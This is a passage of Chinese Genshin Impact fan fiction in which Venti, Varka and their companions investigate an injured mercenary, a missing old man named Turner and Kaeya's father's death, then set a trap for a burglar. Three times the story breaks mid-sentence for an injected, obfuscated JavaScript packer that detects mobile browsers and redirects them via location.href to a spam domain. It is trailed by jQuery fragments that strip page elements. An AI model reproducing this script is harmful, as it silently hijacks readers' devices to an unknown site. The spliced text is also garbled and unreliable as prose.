“我记得啊。”温迪若无其事地说着,“我这不是怕你一个人不敢去吗,上次不就是我陪你去的晨曦酒庄?” 凯亚差点把嘴里的咖啡喷出来。 上次……上次明明是这个人非要跟着他的好么! 凯亚嘴角抽动,“我无所谓。” “不行。” 头顶传来声音之后,一个温暖的触感抚上了温迪的后脖颈——他稍许转过视线,发现是法尔伽站在他身后,以一个单手拎的动作,手动将他往旁边挪了个位置。 然后,法尔伽很干脆地坐在了原先温迪坐着的地方——凯亚的正对面。 他嚼着烤饼,话却是对温迪说的,“你和我一起。” 温迪瞬间垮了脸,发出“为什么——”的抗议声。 然而,抗议无效。 7. 第7章 “不为什么,”法尔伽走路的时候目不斜视,“这边要排查的事项多,自然需要更多的人手。” 温迪还想据理力争,“我是个新人哎,难道不应该干一些相对安全和确定的工作——” “别把偷懒说得这么正义好听,”法尔伽伸手弹了下他帽子的边缘,笑了笑,“好了,快跟上来。” 佣兵协会指定的医疗机构虽然遍地都是,但有能力做大型手术的A类医院就不是那么多了——再加上法尔伽人脉的“帮忙”,只跑了四个点,他们就找到了当初盖伊做手术和恢复的医院。 在约定地点见面的是一个圆脸医生,他把手从白大褂的兜里掏出来挥了下,就当是打招呼了,“西风骑士团的?” 法尔伽点头,“莫尔纳医生?” 名叫莫尔纳的医生用眼神示意他们跟着自己走,几人走了一段距离,来到医院中庭的花坛前,看起来就是在很正常地散步。 莫尔纳医生稍微压低了声音,“病例不能调出来给你们看,我只能口述。” “已经帮大忙了。”法尔伽赶紧接话。 今天跟着法尔伽出来干活的,除了温迪,还有阿贝多和米卡,琴因为有其他任务,没有一起行动。 阿贝多是个沉默寡言的,米卡也是非必要不开口的类型,于是一路问话的重担,便落到了法尔伽身上。 “嗯,要问什么就赶紧的,我只能出来一会儿。”莫尔纳医生话说得很公事公办。 “盖伊·法末克受了什么伤?”法尔伽把最重要的问题第一个抛出来,“是意外还是人为?” “这话怎么问得和保险公司的人似的?”莫尔纳医生嘟囔了一句,又不紧不慢地说道:“他右侧身体受了很重的伤,右手、右腿和右边眼睛都有不同程度的损害。根据送他来医院的人,以及他自己清醒之后对医生的描述,是他们佣兵团在解救人质的任务过程中,仓库起火,在撤离的时候,仓库天花板掉落,砸伤了盖伊·法末克。” 光是听着,米卡脸上就露出了不忍心的表情。 莫尔纳医生没有停止,继续补充道:“至于你问是意外还是人为,我只能说被砸的伤情是真实存在的,但究竟源头上是怎么造成的,只能请警察或者侦探去调查,我们医生无从知晓。” “好的。那么盖伊出院的时候,他大概是个什么情况?”法尔伽问。 “肯定是伤情稳定了才能出院啊,”莫尔纳医生莫名其妙地看了他一眼,“伤口都愈合了,至于缺失的那些身体部分,该装的义肢也都装了——但受了那么重的伤,无论是谁也不可能变回以前活蹦乱跳的模样,毕竟我们医生只能治病救人,不会魔法。” “那他还能继续当佣兵么?”这次是温迪凑过来问了一句。 医生迟疑了几秒,说:“我觉得可以吧,该做的手术都做了,后面恢复成那样,完全不影响正常生活啊。佣兵团也不一定全是打打杀杀的岗位吧?” 温迪立刻很用力地点了下头,然后转头望向法尔伽,那神色分明在说:你看,所以我的存在于佣兵团是非常合理的啊。 法尔伽对着温迪无奈一笑,又对着莫尔纳医生说:“如果钱足够,还能对他的身体做进一步优化么?” 莫尔纳医生用“这也要问”的语气道:“那当然啊,那个B级佣兵团给新人佣兵买的都是最便宜的保险,只能覆盖最必要、最基础的费用支出。义眼、义肢这些东西,自然是越贵越好啊。” “那我想再问下,盖伊在出院后,是否还回来接受过进一步的治疗?”法尔伽问出了最后一个问题。 “没有。”莫尔纳医生很干脆地说道,“我们医院没有他出院之后的任何就诊记录了。” “好的,辛苦了,我会让瓦勒先生请你喝酒。”法尔伽笑笑,一边示意米卡不用再在本上记录了,“或者等我忙完,我们一起喝酒也行,喝一场酒,就是朋友了。” “小事,不用在意。”莫尔纳医生此刻的表情没那么严肃了,随意地说:“为了身体健康,我戒酒了。” 法尔伽表示遗憾地微笑告辞了。 从中庭离开后,几人又两两分组,前去找寻当时和盖伊有过接触的护士。 毕竟,有些关键信息是不会记录在纸质材料里的。 但这一任务颇有难度,作为一家A级医院,肉眼能看得到的护士们都忙得团团转,要想抓住空档去问出点什么,实在不是件容易的事。 “这种时候,就是我的闪耀时刻了。”温迪信心满满地举了下右胳膊,向一旁的阿贝多如此说道。 阿贝多还是一贯那副冷静到有点机械的表情,他双手抱臂,若有所思地看着蹦跶着就上前的绿衣少年。 一开始,被温迪拦住去路的护士脸上还明显不耐烦,然后三两句话之后,那人脸上的表情就柔和了不少。 从阿贝多的角度看过去,那个年纪稍长的护士,真的就和温迪对话了十几个来回,最后居然是笑眯眯地和温迪打了招呼告别的。 温迪回头,一脸得意地对着不远处的阿贝多比了个胜利的手势。 但是他并没有多停留,马上又找寻下一个问询目标去了。 阿贝多知道这个人很讨人喜欢,不然也不会这么容易就被大团长留下——虽然他隐隐约约觉得,或许大团长这么做,还有其他的理由。 但无论原因是什么,只要这个人身上还是现在这样无害的气息,他就可以睁一只眼闭一只眼。 “怎么样怎么样?”两组人碰头的时候,温迪迫不及待地问出了口。 “有……有一点收获。”米卡脸上泛着红晕,害羞的神色还没有完全从脸庞褪去,“因为盖伊先生在这里接受治疗已经是一年半以前的事了,医院的工作每天要接触形形色色的人,所以即便当时他住了很久的院,大多数护士已经不太能想得起来了。” “不过、不过我们找到了当时盖伊先生的管床护士,”米卡话说得很快,生怕自己没有很好地完成任务似的,“护士小姐和我们说了一些她还记得的事。” 在法尔伽鼓励的眼神中,米卡咽了口口水,继续说道:“护士小姐说她对盖伊先生的印象就是很可怜,住院那么久,除了刚开始时佣兵团的几个同伴来探望过他,就是保险公司的人来过几次,除此之外,再没有其他人了。” 阿贝多适时点评道:“那看来特纳当时并不知情,不然他不可能对儿子不管不问。” “是的,我们特地问了,她从未见过类似特纳先生的人来探病。”米卡说,“护士小姐说,住院期间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15966407|177742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盖伊先生沉默寡言,看起来简直像一具只会呼吸的木乃伊——但是她很能理解,对于一个立志于当佣兵的年轻人来说,盖伊先生遭到的简直是毁灭性打击。” 米卡不再说话,表情很是黯淡。 “那到我来分享情报了。”温迪拍了米卡一下,力道很轻,但却让沉浸在情绪中的人回神了。 温迪却好像那动作只是随意做出的一样,自己往下说了:“给盖伊换过药打过针的其他护士说法都差不多,盖伊几乎都是一个人待在病房里。但在他出院前的一两个星期内,有不止一位护士在他的病房里,看到盖伊和一个男人在交谈。” “奇怪,如果有外人来访,管床的护士小姐不会不知道啊。”米卡疑惑地小声说。 温迪等他说完,点了点头,狡黠地说:“其实可以解释。” 正在这时,法尔伽温和的嗓音响起了,“是那个保险公司的人吧。” 阿贝多缓缓道:“原来如此。” 米卡的神情更困惑了。 温迪慢条斯理道:“保险公司的职员来见盖伊,非常名正言顺。” “那……”米卡小心翼翼地开口询问,“这个保险公司的人,有什么问题吗?” “最便宜的保险险种,能有这种一对一专职保险人员专门□□好几次么?”温迪眨巴了下眼睛。 米卡明显怔了一下,显然是完全没往这个方向想过。 “不过护士们都很忙,没注意他们在谈什么——或许也可能是见有人来,他们就闭嘴不聊了。”温迪摊了摊手,“这条线,问到的就这么多了。” 在场的几人各自沉默,表情都是在思考着什么。 “还有个细节。”温迪突然道:“一位年长的,快要退休的保洁阿姨告诉我的。” 他顿了顿,说:“盖伊出院时,落下了他的祈愿吊坠。” “祈愿吊坠?”法尔伽问出了声。 “就是这个。”温迪将一直握紧的拳头松了开来,里面正躺着一枚泛着金属光泽的装饰品。法尔伽和米卡立刻围了过来,而阿贝多则因为提前看过,立在一旁没有动。 那是一个明显上了年头的古朴吊坠,银白色的链条已经有些褪色,中间坠着的是一个银色吊牌,上面刻着的正是蒙德的守护神——风神巴巴托斯的神像。 这是巴巴托斯最经典的形象,他的整个面部隐在立起的兜帽中,寓意为神不可直视——双手向前轻盈托举,像是随时要撒下会飞的蒲公英或是对子民的祝福;一双巨大羽翼在后背展开,直指天空,象征着风神的权柄——四季流风所支配的一切。 除了温迪面容沉静地望着手中的风神吊坠,其他几个人互相看了一眼,神色复杂。 米卡有些不知所措,他试探性地发问:“是……不小心丢了?” “真丢了也会回来找的。”阿贝多一针见血地指出,“这个光泽和触感,一看就是用久了的。” “所以……他是故意……他抛弃了对巴巴托斯大人的信仰……”米卡话都说得有点结巴,像是遇到了绝对无法想象和理解的事情。 法尔伽轻声叹了一口气。 温迪轻轻摩挲着吊坠上凹凸不平的表面花纹,淡淡说道:“他应该是觉得自己先被神抛弃了吧。” 8. 第8章 微妙的氛围中,一时间无人开口说话。 “好了。”温迪把吊坠握回掌中,目光在其他几人身上扫了一圈,微微笑了起来,说:“也不用想得太糟糕,说不定盖伊只是转去信奉隔壁的岩神了呢,那位古老的神明可比咱们这的风神厉害多了啊。” 知道温迪的本意是想缓和一下气氛,但是米卡实在笑不出来。 “或许,这件事不应该孤立地考虑。”法尔伽看了一眼温迪右手的位置,银色的链条从温迪的手掌缝隙中向外坠着,流淌出一点银色的光华。 言闭,他将目光向上一抬,和温迪的视线相接了。 电光石火的几秒内,温迪读懂了他的意思。但他不想在现在这个场合讨论,便下意识地挪开和法尔伽对视的目光。 法尔伽的意思已经传递到,他耸了下肩膀,对着阿贝多和米卡道:“关于医院的部分,我们可以收工了。” 米卡略显茫然地点了下头,而阿贝多则是在法尔伽和温迪两人之间看了一个来回,眼眸中投射出一点深沉的神色。 * “是因为我没有从开始就跟这个任务吗?总感觉云里雾里的。” 回去的路上,法尔伽听见米卡和阿贝多说着悄悄话。 法尔伽扯了下嘴角,说:“不是你的问题,米卡。即便是一开始就参与的我们,现在也觉得千头万绪,始终没能找到最正确的那个大门。不过呢,人多力量大,我们这么多人,总归是能聚集众人的智慧的。” 米卡没想到自己说的话被团长听去了,不好意思地低下头,走路走得脚下生风。 如此一来,就变成了法尔伽、阿贝多和温迪三人落在了后面。 “大团长。”阿贝多突然开口叫人。 “嗯?!”法尔伽像是神游中被人突然戳醒了那般回道。 阿贝多一言不发地盯着他,放弃了原来想说的话,转而道:“你怎么好像……有点惊慌失措的?” “没、没有吧。”法尔伽抬头望天,试图用自己英俊潇洒沉稳帅气的面容将此事糊弄过去。 “没有?”阿贝多目光幽深地盯着他,“我总觉得你这几天不太正常。难道……是有什么秘密瞒着大家?” “怎怎怎么可能!”法尔伽矢口否认,“我刚刚就是在走神,反应大了一点而已。” “真的吗。”阿贝多淡淡地说,“我还以为你刚才一直在看温迪,是发现了什么呢。” 法尔伽的表情一瞬间僵住了,“我刚刚明明一直在看路啊!” “哦?”听到自己的名字,温迪也凑了过来,“什么什么,我没听清楚,你们在说什么?” 看着阿贝多张开嘴巴,似乎就要把刚才的话复述一遍,法尔伽猛地指向天空,道:“今天……!今天没有航空管制,大型飞行器也可以申请自由飞行!” 面对这句废话,温迪不解地转向了阿贝多,似乎想从他那里知道法尔伽在干什么。 阿贝多则目光闪烁地看了一眼法尔伽,最终什么都没说。 还在前方疾行的米卡,丝毫没有意识到后面发生的小插曲。 * 几人回到西风骑士团时,凯亚还没回来。 “他该不会临阵脱逃了吧?”温迪毫不留情地说,“我就说应该让我陪着他去的吧。” 法尔伽又默不作声地弹了下温迪的帽子。 温迪头上是一顶绿色的贝雷帽,上面装饰着一圈白色的花纹,那帽子被他斜斜顶在脑袋上,戴出了一股俏皮的味道。 自从第一次弹了帽子的边缘,收获了比想象中更柔软的手感,法尔伽似乎就爱上了这种略显幼稚的行为——当然,他会特地避开塞西莉亚花的那边,防止伤害那美丽的花朵。 温迪只是浅笑了一下,似乎是在默认法尔伽的行为。 * 还没到午饭时间,温迪便一人回去独享房间,因为米卡在忙,记录整理上午任务中获得的资料。 温迪躺在收拾整洁的单人床上,发自真心地觉得有些疲倦。 但这也不能怪他—— 神力尽失,他现在就是个完完全全的普通人。如果考虑到自己周围都是身体素质更强的佣兵,他可能离普通还得差一截。 当初怎么就选择了西风骑士团呢? 温迪揉了揉自己有些酸痛的小腿。 和很多人坚信神明的神力来源于天理不同,温迪自己很清楚,他们七位神明的神力,来源于信众的信仰。 所以,选择的原因也很简单,因为西风骑士团里的众人,有对着风神最纯净的信仰。 他现在最好的做法,就是按兵不动,在这个对风神巴巴托斯充满敬爱的团体内,慢慢恢复自己的力量。 ——如果一切都能这么顺利就好了。 温迪没有叹息。 这虽然是不能公之于众的,关于神明的大事,但对于他那超过三千年的漫长生命来说,只能算是一个需要额外处理的小插曲。 而且,比起待在教会总部,他本来就更喜欢到处跑——一个自由的吟游诗人,就是他更喜欢的生活状态。 所以,目前来说,温迪并没有觉得生活状态有哪里不好,甚至还很喜欢和西风骑士团的人待在一起。 除了……还没能搞清那个令他神力尽失的原因,始终还是悬在头上的达摩克利斯之剑。 他不是没想过和其他几位神明沟通交流,别的不说,他和岩神摩拉克斯关系还是挺不错的——若是此事仅仅在自己身上发生了,也好作为警示,让其他几个神都提高警惕。 但奇怪的是,他联系不上他们。 七神之间有神座特殊通道,本来是可以随时联系的,但——温迪不确定是不是自己神力丧失的原因,他对于其他几位神明的呼唤,未能得到任何回应。 思及于此,他在心里默默计划,有机会还是要去趟璃月,至少先找到摩拉克斯。 温迪翻了个身,把这些纷繁的思绪从大脑里赶了出去。 倒不是特别急。 蒙德经过上千年的自主自治,早就步入正轨,发展得井井有条,反正巴巴托斯也只是蒙德的信仰象征,他本人在或不在,都影响不大。 眼下先把任务搞定,他能拿到晨曦酒庄珍藏的酒才是当务之急—— * 米卡来叫温迪的时候,看见的正是他抱着枕头,一脸迷之陶醉的睡梦中的表情。 这幸福的表情奇妙地感染到了米卡,他忍不住去想,这个人究竟梦到了什么好事情呢。 就这么看了几秒,米卡突然记起自己来的目的,他缓步移向床边, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15966408|177742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻轻拍了拍温迪的胳膊。 床上的人仍是纹丝不动。 米卡笑了,稍微加重了手上的力道,推了推对方的胳膊,小声叫他:“温迪,醒醒,温迪……” 抱着枕头的人这才睁开他和自在松石同色的天青色眼眸,悠悠转醒。看着面前满脸写满抱歉的米卡,温迪打了个哈欠,问:“几点了,是不是开饭了?” 米卡腼腆一笑,说:“现在是下午两点,啊,你是不是没吃上午饭……那个……凯亚回来了,大团长让我来叫你,让你去他办公室。” “好吧,好吧,”温迪一骨碌坐起来,口气无奈,勉为其难地说:“看来大团长是离开我不行啊。” 米卡被逗笑了。在温迪离开前,他把收在卧室的美味饼干塞给了温迪——他是真的很喜欢这位有意思的室友。 * 温迪口中离开他不行的大团长法尔伽,此刻正坐在办公室里,神情略显严肃。 “你回来啦,凯亚。”温迪和人打着招呼,熟稔的程度完全看不出来两个人一个礼拜前还互不认识。 “嗯。”凯亚看起来心事重重的,但还是扬起脸,简单回应了一声。 “你来得正好。”法尔伽示意温迪把身后的门带上,“凯亚这边有一些关于笔记的新消息。” 温迪有些惊讶地看着两人:“专门在等我吗?” 法尔伽颔首,说:“一起讨论。” 温迪心想,那为什么没叫上阿贝多和米卡? 但是他面上没显露出来分毫,相反,还表现出一股志得意满的样子,说:“好呀,看来我这个新人作用还是蛮大的嘛。” 凯亚苦笑一声,没接他的话,道:“和我们猜测的差不多,那些笔记应该是我父亲给特纳的。” 这简单的结论引发了法尔伽的又一轮发问,“可我记得,你说你父亲是在睡梦中去世的,他又怎么会预先把东西留给特纳?” 凯亚目光深沉地说:“那是……迪卢克骗我的。” 他抬起头来,脸上无悲无喜,“今天他终于说了实话,心脏麻痹只是对外的说法,实际上,父亲是被黑魔法反噬身亡的。” 温迪眉头皱了起来。 法尔伽问:“迪卢克在场?” 凯亚摇了摇头,“不,迪卢克在模模糊糊意识到父亲在利用笔记做什么之后,就非常反对。但当时迪卢克还不是一家之主,父亲也会特地避开他,所以迪卢克直到最后事发,才知道父亲从来没有放弃。” “那他又是怎么知道莱艮芬德先生是死于黑魔法的?”法尔伽又问。 “是迪卢克的推断。”凯亚叹了一口气,“尸体没有任何外伤,安静得就像灵魂被抽空。” “但这也有可能,是之前所说的心脏麻痹。”法尔伽道,“迪卢克毕竟不是专家,他的判断可能也带了一些……情感上的偏颇。” “是的。”凯亚看起来有些疲惫,他捏了捏眉心后继续道:“我也如此怀疑过,可迪卢克说,在父亲死后,他在守灵的当天夜里,见到了他的母亲——即莱艮芬德太太的灵魂归来。” “迪卢克告诉我,她在父亲的棺前哀伤痛苦地徘徊,直到朝阳升起,才一点点消散在空气中。” 凯亚抬起头,不意外地看到法尔伽和温迪都是一脸震惊的表情。 9. 第9章 “我刚开始听到他说这些的时候,和你们的反应一样,”凯亚有些麻木地说着,“怀疑是不是迪卢克悲伤过度产生幻觉,又或者是他睡着了做的一个梦——毕竟我第二天赶回去后,和他一起守灵的夜晚,从未见过他母亲的幽魂。” “可迪卢克非常肯定,他告诉我,他的母亲一直在哭泣,因为父亲付出了代价,想复活他那早逝的爱人,然而莱艮芬德太太却明白,这一切不仅是徒劳,还会招致厄难。” “虽然听着很像天方夜谭,但我却倾向于相信迪卢克。”凯亚凝重地说:“在此之前,他已经感觉到种种异常,父亲确实是在秘密进行着某些仪式,迪卢克甚至后来找到了一些所谓的稀有材料供应商——据他们所称,他们卖给父亲的材料都有非凡的魔力,非常适合进行仪式魔法。” 法尔伽一边捋着思绪,一边继续道,“如果莱艮芬德先生因为进行了黑魔法仪式而命丧当场,那么特纳又是怎么拿到那些笔记的呢?除非——” “在意外发生的时候,老特纳在场。” 凯亚平静地叙述着,这是他今天和迪卢克见面后,两个人经过讨论得出的结果。 “为了防止这些笔记被迪卢克毁掉,”凯亚转述着他们二人的讨论内容,“便让老特纳将它们藏了起来。” “今天,我们还翻找了特纳这么多年的请假记录,在那一年,他只在父亲去世后请了三天的假,说是家中有事。” 凯亚说:“也许,他就是那时候将笔记转移走了吧。” 法尔伽默默听着,在脑海中不停地梳理各种纷杂的思绪。末了,他看着凯亚,突然问了个不甚相干的问题。 “凯亚,迪卢克是意识到特纳和这些笔记的关系,才会发布这个寻找失踪人员的佣兵任务,还特地要求A级佣兵团来接么?” 凯亚闭了下眼睛,再次睁开的时候说:“我没有问,但以我对他的了解,我想是这样的。” “他这个人,永远做的比说的多。” 法尔伽很慢地点了下头,表示自己同意凯亚对迪卢克的看法。 “虽然大部分都是推理,且推理的结果有些异想天开,但根据一些细枝末节的互相印证,倒也不失可能。”法尔伽道:“这些笔记非常重要,我有预感,特纳的失踪正与此相关。” “可现在关键的盖伊和特纳都不见踪影……”凯亚紧皱眉头,“我们再怎么调查,也只是旁敲侧击,抓不到重点。” 法尔伽思索片刻,露出一点成竹在胸的笑容,“真是冲着笔记来的,就有办法。” * “我说大团长,你这个办法也太……” 温迪从盥洗间里露出眼睛,“万一我们猜错了方向,或者对方就是按兵不动,我们就要在这永远当租客吗?” “也没什么不好的嘛。”法尔伽开玩笑地说着,“当佣兵这么久,也觉得蛮累的,说不定,我的最终追求,就是普通人的生活……” 温迪“噗嗤”笑出了声,“大团长,你是在表演话剧吗?” 法尔伽笑了一下,把皮箱放在客厅的沙发旁,正经道:“幸好这间公寓还没租出去。反正最近也就这一个A级任务,考虑到报酬丰厚,即便完成时间耗费得久一点,也是笔划算的买卖。” “话说回来,”温迪坐在沙发上,往上弹了弹,测试沙发的柔软程度,“那为什么是我和大团长来当这个租客啊?总觉得房东看我们要租房子,眼神怪怪的。” 法尔伽故作严肃道:“刚工作没多少收入的哥哥带着个还需要人照顾的弟弟的组合,看起来比较靠谱?” 温迪瞪大了眼睛,“大团长,你说的好像前几天来询问房东的人不是我们一样,房东先生虽然年纪大了,但还没到几天就忘记我们的健忘程度吧。” 法尔伽打开皮箱,一样一样往外拿他的东西,看起来真像是要在这里常住似的,“我已经和房东打过招呼了,他搞明白这些事情前,是不敢多说什么的。另外……你不是总说自己是新人吗。” 温迪莫名其妙道:“这是事实呀。” “嗯,多跟着出出任务,就会变成独当一面的老手了——所以要选新人。” 不知道是不是错觉,温迪总觉得在说这话时,法尔伽在憋笑。 温迪转了下碧绿色的眼珠,转而去拨弄手中的里拉琴。 “刚才我就想问了,你的行李只有你的琴?”法尔伽状似不经意地发问。 “别的都无关紧要,但对于吟游诗人来说,琴可是不能缺少的好伙伴——对了,介绍一下,我的琴,名字叫斐林哦。” “很不错的名字。”法尔伽真情实感地评价着,他甚至放下了手中的杯子,往沙发凑近了一点,观察起那把里拉琴来。 在温迪手中的里拉琴斐林,乍一看上去,除了那朵抢眼的,作为装饰的塞西莉亚花,其余部分都很是低调,但仔细看来,又在细节处透着典雅和精致,让人光是看着,就不由自主地放缓了呼吸。 温迪熟练且轻盈地拨动斐林的琴弦,流淌出一段清亮悠扬的旋律。 “我的这把斐林,听着很不错吧。”温迪略有些得意地看着法尔伽。 法尔伽托着下巴,将视线从琴弦移回温迪的脸上,表情堪称温柔,“确实。” 温迪满意地将琴往木质茶几上一放,双手撑着沙发,说:“肚子饿了。” 然后,他扬起唇角,对着法尔伽道:“现在是不是应该由勤劳勇敢的哥哥,为啥都不会的弟弟准备美味可口的午餐呢~” 法尔伽也笑起来,“当然可以。” * 看着餐桌上还在滋滋响动的煎牛排,以及一旁配着的苹果汁,温迪瞠目结舌,“你真的会啊?” 正在解围裙的法尔伽看他一眼,“很奇怪?” 迅速坐好的温迪拿起了刀叉,说:“对啊,你可是西风骑士团的大团长哎。” “大团长怎么了?”法尔伽把围裙放好,在温迪的对面坐了下来。 “嗯,飞艇上有专门的厨师嘛,再说一般大团长不都是只处理烦难急的事——” “没法待在飞艇上,出任务在荒郊野外时,他们可都指着我包揽一切呢。”法尔伽慢条斯理地切下一小块牛排,“趁热吃,这么些年下来,我的手艺已经锻炼得很不错了。” 温迪一个没忍住,“哈哈”地笑出了声。 “不过怎么不是红酒配牛排呢,”温迪遗憾地看着装苹果汁的杯子上的小花装饰物,说,“这才是经典搭配吧。” 法尔伽把切好的一块牛排塞进嘴里,“都说了,任务没完成,不能喝。” “好吧。”温迪浮于表面地表示了下失望,“如果我说我很能喝,喝多了也不会影响工作,大团长你也不会信的吧。” 法尔伽笑了一声,拿起苹果汁,做出要和温迪碰杯的姿势。 温迪便拿着细长的玻璃杯,和法尔伽手中的杯子碰了一下,发出清脆动听的响声。 “我们先休息一会儿,等到下午,我去找这条街上收废品的人,你就找邻居聊天。” 尝了一口的温迪对牛排满意极了,满眼冒心地又切了一大块,“身为一位吟游诗人,我现在真的很想为你的厨艺唱诗一首,但考虑到现在当务之急是享受美食,我的嘴巴还是先顾着吃比较好。” 法尔伽被他逗笑了,“你很喜欢?” 温迪极其郑重地点了下头,“色香味俱全,肉的生熟程度也恰到好处——奇怪,你也没问我想吃几成熟,那看来就是我们心有灵犀了……” 温迪边说边吃,毫不吝啬地给予着赞美,“大团长,下次教会总部如果招聘会做菜的骑士,我看你可以试上一试。” 法尔伽哭笑不得地说,“教会总部会用这种条件招骑士?” “对啊,”温迪鼓着腮帮子说:“毕竟那位巴巴托斯的脑回路和正常人不太一样,说不好就有这种奇怪的需求呢。” “哦,是吗。”法尔伽垂着眼睛,看起来正在一心一意地切着盘子里的牛排。 “嗯嗯,”温迪很快就消灭了一大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15966409|177742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半的牛排,又喝了口冰凉爽口的苹果汁,“虽然不是红酒,但苹果汁我也很喜欢~” 法尔伽又笑了一声,说:“你喜欢就好。” 两人很快吃完了这一餐,一起洗了盘子。温迪一见法尔伽系着围裙就笑,法尔伽便佯装恼怒地把围裙系到了温迪的身上。 三下五除二地系好,法尔伽拍了下手,脑海中忍不住划过一个想法—— 腰好细。 他咳了一声,把这不太上得了台面的想法从脑子里赶出去,将大脑中属于工作的部分调动出来,以此压住自己的奇怪情绪。 “先把我们在屋子里找到一堆奇怪笔记的事传播出去。” 法尔伽直接说结论,“我们上次来过之后,房东没再搜查过这间公寓,我感觉他可能有点害怕——所以只要我们坚持说找到了,他即便觉得有点奇怪,也不会到处说的。” 简单地分工后,法尔伽在午后的阳光里出门了。 * 温迪则大开着门,一边扫地,一边观察门前的情况。 过了一会儿,他见一位中年女士提着一个敞口的布袋回来,里面鼓鼓囊囊塞满了东西,一看就是采购归来。路过温迪家开着的大门之时,她稍微停留脚步,看了温迪几眼,又往房里看了看。 “午安,美丽的女士。”温迪立刻站好了,微笑着说:“我们刚刚搬过来,还没来得及和您打招呼。” 那位女士见温迪主动和自己搭话,便满脸放光、顺理成章地停在了门口,“哎呀,我说呢,”她的目光在温迪的脸上和屋内逡巡,“这里一直是一位老先生独居的,刚才看到你,我还觉得奇怪,再一想也是,老特纳已经搬走一段时间了,这间公寓再次出租出去,也很正常嘛。” 温迪笑容满面地点点头,“是的,我们也听房东先生说了,原先房客的情况。” 中年女人将沉重的布袋往上提了提,又好奇地发问:“你一个人住?” 温迪道:“不不,我和哥哥住在一起,他刚毕业工作。” 那女人脸上明显流露出对一对相依为命的兄弟的同情,说:“那可真不容易,如果有什么需要帮忙的,你们可以来找我,我就住在隔壁,那里,”说着,她指了指走廊尽头的一间门,“不用客气。对了,你叫我雅戈就可以。” “非常感谢,雅戈太太,我的名字叫温迪。”温迪笑眯眯地说,突然,他似乎是想到了什么为难的事,自言自语道:“确实得再去找一趟房东先生……” 雅戈太太立刻捕捉到了少年话语中苦恼的部分,“要找里德先生?他这个点一般不在公寓里,大概率是去国际象棋协会了吧。” 温迪立刻道:“哦,哦,是吗,谢谢您的告知。” 雅戈太太摆摆手,示意没什么,末了,她又自告奋勇道:“或者你可以先和我说说看?我在这里也住了很久,如果是我知道的,直接告诉你就是,不用特地再跑去找他。” 听了这话,温迪露出了高兴的表情,然后指了指屋内,“其实也不是什么大事,就是我在打扫收拾的过程中,找到了一些陈旧的笔记本,里面都是记满了内容的——我想这肯定是之前的那位老先生落在这里的,正想问问房东先生,怎么样才能把东西送还给他呢。” “你真是个善良的好心人。”雅戈太太想了一下,又说:“虽然我和特纳先生比较熟了,但也不知道他搬去了哪里……这样吧,你可以去问问里德先生,我也会帮你问问其他邻居,如果我遇到的话。” “非常感谢,雅戈太太。”温迪绅士地欠身,以示感谢。 “没什么,不用客气,我非常欢迎你这样漂亮的好小伙——当然,你的哥哥一定也是一位出色的青年——住到这里。”雅戈太太又欢迎了温迪一次,沉重的布袋被她拎在右手上,离开时,她还用左手向温迪挥了挥。 之后,温迪故技重施,分别在一楼和三楼,对和雅戈太太类似的,对自己产生兴趣,主动来接触的邻居,分享了他在房内找到许多笔记,并急于找到老特纳的事。 11. 第11章 入夜,温迪已经很习惯地躺在床的右侧,闭着眼睛,等待睡意的降临。 突然,卧室窗外洒进来的月光有了一丝微不可闻的摇晃。 敏锐如温迪,他迅速睁开了宝石绿的眼睛,复又闭上。 他假装睡着了,仍保持着原先的呼吸节奏,就这么侧过身,向着法尔伽的方向转了过去,像是睡梦中的无意识动作。 幽暗的室内,他微微睁开眼睛,看见了法尔伽脸上的眸光也是一闪。 好的,至少机警的不是他一个人。 这栋公寓楼一共三层,原先特纳租的是二楼的一个套间,窗户距离地面的高度并不夸张,一个身材稍微高大的成年男性,只要有着一般的攀爬能力,都能轻松上来。 又是一个黑影掠过,这次的速度慢了些许,似乎是在往里观察。 床上的法尔伽和温迪继续装熟睡。 几个呼吸之后,见房内仍毫无动静,那立在窗边之人,开始大着胆子,推动木质窗户。 老旧的窗户很容易就开了,发出令人无法忽视的吱呀声。 温迪配合地动了动,但仍做出未醒来的沉睡模样。 那人等了一会儿,见没有吵醒人,便耐着性子,将玻璃窗户一点点推开,直到能容纳一个成年人入内。 片刻之后,那人行动了。他轻盈地从窗外一跃,几乎是无声落到了地板上。他又等待了一分钟有余,确认床上仍没有动静,这才开始沿着墙壁,一点点移动。 等他移到卧室的另一侧,法尔伽和温迪同时睁开了眼睛。 法尔伽将眼皮一抬,向温迪后方一瞥,温迪瞬间明白,同样用眼神回应。 下一秒,法尔伽从硬床上一跃而起,而温迪则直奔窗户,第一时间将窗关严,防止人从这里原路逃走。 